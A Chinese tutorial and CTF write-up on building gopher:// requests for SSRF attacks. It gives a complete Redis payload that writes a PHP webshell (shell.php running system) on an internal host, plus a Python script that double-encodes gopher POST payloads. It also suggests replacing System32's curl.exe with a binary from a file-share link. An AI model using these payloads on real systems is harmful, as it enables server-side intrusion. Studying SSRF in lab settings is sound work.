文章目录

  • 0x01 reference和环境准备
  • 0x02 使用gopher构造GET、POST请求
    • 构造GET请求
    • 构造POST请求:
  • 0x03 CTF实战
    • [GKCTF2020]EZ三剑客-EzWeb
    • ctfhub POST请求

0x01 reference和环境准备

参考 Gopher协议在SSRF漏洞中的深入研究(附视频讲解)
参考 Gopher协议与redis未授权访问

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

遇到问题:win10自带的curl不支持gopher协议

网上下了一个,链接放在下面

  • 百度云链接:https://pan.baidu.com/s/1bqX3NF-LL5tt6dE8JEd9QQ 提取码:6h6z

将bin目录下三个文件放在C:\Windows\System32目录下,就不用添加环境变量了,替换原来的curl.exe。当然也可以放在其他地方不过要自己添加环境变量。

删除原来的curl.exe的方法:https://zhidao.baidu.com/question/1384229736645191820.html

0x02 使用gopher构造GET、POST请求

nc启动监听,监听6666端口:

nc -lvp 6666

使用curl发送http请求,命令为

curl gopher://121.196.196.190:6666/abcd

此时nc收到的消息为:bcd

可以发现url中的a没有被nc接受到,如果命令变为

curl gopher://121.196.196.190:6666/_abcd

此时nc收到的消息为:abcd

所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写)

构造GET请求

那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

服务器上的代码

<?phpecho "Hello ".$_REQUEST["name"]."\n"
?>

一个GET型的HTTP包,如下:

GET /hello.php?name=Margin HTTP/1.1
Host: 121.196.196.190

URL编码并将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A

curl gopher://121.196.196.190:80/_GET%20/hello.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0A

发送成功

构造POST请求:

POST与GET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数,且Content-Length的长度必须正确

POST /hello.php HTTP/1.1
Host: 121.196.196.190
Content-Type:application/x-www-form-urlencoded
Content-Length:13name=qaq

现在我们将它进行URL编码:

POST%20/hello.php%20HTTP/1.1%0AHost:%20121.196.196.190%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:13%0A%0Aname=qaq

将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A

curl gopher://121.196.196.190:80/_POST%20/hello.php%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=qaq%0d%0a

成功

0x03 CTF实战

[GKCTF2020]EZ三剑客-EzWeb

源码发现提示,得到内网地址

输入www.baidu.com回显百度页面,判断存在ssrf
使用file: /var/www/html/index.php能读取到源码

<?php
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['submit'])){$url = $_GET['url'];//echo $url."\n";if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)){//var_dump($match);die('别这样');}curl($url);
}
if(isset($_GET['secret'])){system('ifconfig');
}
?>

过滤了file协议、dict协议、127.0.0.1和localhost,还可以使用http、gopher
我们使用http协议进行内网主机存活探测。

使用burp进行c段扫描

发现目标

接下来使用Gopherus生成打redis payload

修改一下url,输入框中输入payload

gopher://10.0.158.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后访问shell.php得到flag

ctfhub POST请求

这道题需要用gopher协议构造一个post包,参数为key

http访问flag.php得到key的值为5805170ffc11f479662274d624b462d1

构造的包如下

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36key=5805170ffc11f479662274d624b462d1

将其url编码

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:36%0A%0Akey=5805170ffc11f479662274d624b462d1

根据要求将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=5805170ffc11f479662274d624b462d1%0d%0a

这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=5805170ffc11f479662274d624b462d1%250d%250a

然后发送它,拿到flag

写了个脚本自动完成上述步骤,这道题把payload里的key修改一下就可以

import urllib.parse# 输入要构造的post请求包
payload = '''
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36key=601af1680224be3db87254533bd90ab9
'''
# 自动修改Content-Length长度
Content_Length = len(payload.split()[-1])   # 取得Content-Length
payload = payload.replace("36", str(Content_Length))    # 替换Content-Length
# 输入内网ip与端口
payload = "gopher://127.0.0.1:80/_" + payload.strip()# url编码,python3.0后的编码器 urlencode更新后改为quote_plus
payload = urllib.parse.quote(str(payload))
# 替换
payload = payload.replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=") + "%0d%0a"
print("[+] 1次url编码\n", payload)
payload = urllib.parse.quote(payload).replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=")
print("[+] 2次url编码\n", payload)

结果:

[+] 1次url编码:gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=601af1680224be3db87254533bd90ab9%0d%0a
[+] 2次url编码:gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=601af1680224be3db87254533bd90ab9%250d%250a

Gopher协议与ssrf相关推荐

  1. SSRF之GOPHER协议利用

    目录 GOPHER协议 GOPHER协议发起的格式 GOPHER利用工具 案例一:CTFSHOW-359关 GOPHER协议 GOPHER协议是一种比HTTP协议还要古老的协议,默认工作端口70,但是 ...

  2. SSRF中phar协议和gopher协议的利用

    我们在学习SSRF漏洞的时候,经常会只关注file协议等,因为利用方式简单.实际上随着php版本的提升和编程技术的规范,能够直接利用的漏洞越来越少了,所以学习使用phar和gopher协议是很有必要的 ...

  3. php禁用gopher协议,SSRF攻击-运用gopher协议构造POST包--emmmm(http://10.112.68.215:10004/index.php?action=login)...

    还是天枢的一道CTF题,启程! 分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息. emmmmm,很挑衅,网站就当作服务器,我们在url框中输入一个伪造的执行代码,让他运 ...

  4. SSRF学习-gopher协议学习

    ssrf是攻击者伪造服务器端发起请求的漏洞 读取服务器内部文件 端口扫描 攻击脆弱的内网应用 pikachu靶场 curl_exec() 使用此函数前提 PHP版本>=5.3 开启extensi ...

  5. SSRF 302跳转 gopher协议攻击redis写入ssh公钥,实现远程无密登录(学习总结)

    一.SSRF漏洞 SSRF(Server Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞,因为求情是由服务器发出的,所以往往是利用S ...

  6. 使用curl工具通过Gopher协议发送GET请求

    实验环境: web服务器:192.168.31.89(phpstudy搭建web服务) kali:192.168.31.192 浏览器正常请求路径: 1.使用gopher发送GET请求:  gophe ...

  7. SSRF最全总结(协议,绕过)

    转载https://www.anquanke.com/post/id/262430#h3-46 SSRF-Labs配置 有些初学者喜欢用这个靶场,讲下怎么搭建 我用的是Ubuntu18:docker和 ...

  8. SSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划

    作者 | Qwzf 责编 | 夕颜 头图 | CSDN付费下载自视觉中国 出品 | CSDN博客 前言 SSRF漏洞和CSRF漏洞有一些相似之处:CSRF跨站请求伪造,基于客户端的请求伪造:SSRF服 ...

  9. 利用SSRF攻击Redis

    前置知识 利用SSRF来攻击靶机的redis服务,需要涉及到的一些知识点: 1,Redis客户端和服务端通信过程,以及常用命令: 2,相关协议,例如dict://协议和gother协议的使用 dict ...

  10. ----已搬运----【总章程】SSRF完全学习,,什么都有,,,原理,绕过,攻击

    目录: 1.漏洞详情: 2. SSRF漏洞相关函数和类 2.1 file_get_contents() 2.2 fsockopen() 2.3 curl_exec() 2.4 SoapClient 2 ...

最新文章

  1. 数据库内核月报 - 2017年12月
  2. 线性霍尔传感器SS495、A1308、A1302
  3. About darwin OS
  4. redistemplate 设置失效时间_袋式除尘器滤袋失效分析
  5. mysql 存储过程执行慢_MySQL存储过程因为字符集不同导致执行慢
  6. 0x08 大数据分析,七层基本功
  7. 有关phpmailer的详细介绍及使用方法
  8. iOS:Xcode8以下真机测试iOS10.0和iOS10.1配置包
  9. 数据库 之 事务控制和隔离级别
  10. HTML的iframe标签的滚动条
  11. Linux之LIBRARY_PATH与LD_LIBRARY_PATH配置多个目录用法
  12. 管理感悟:如何看待培训
  13. 私藏的18个黑科技网站
  14. Java项目:jsp+servlet网上会议室预约系统
  15. PS 图像调整算法——反相
  16. python导入自己的类型_如何将使用导入模块的我自己的类导入jupyter noteb
  17. 科大讯飞股价暴跌趋势不明,语音交互产业风险巨大吗?
  18. jQuery伪类选择器
  19. 如何诊断Shopee店铺?记住这3个操作
  20. 飞思卡尔 Target Speed Change Detected - New Speed 16.00MHz解决方案

热门文章

  1. Linux中运行shell脚本的几种方式及其区别(source . ./myscript.sh sh myscript.sh)
  2. zblog php 安装,Zblog安装教程 zblogphp程序特色和环境要求_徐果萍博客
  3. 激光雷达考试基础知识
  4. 高考为什么考计算机信息,信息技术是否应该进入高考?
  5. 金融知识图谱的现状与展望
  6. 阿里云域名以及子域名解析教程
  7. VS2017--如何添加版权声明注释
  8. 计算机win10搜不到wifi,Windows10笔记本找不到无线网络如何处理
  9. 路由器: 手把手教你小米路由器 4C 刷 OpenWrt 固件
  10. np.mat()和np.transpose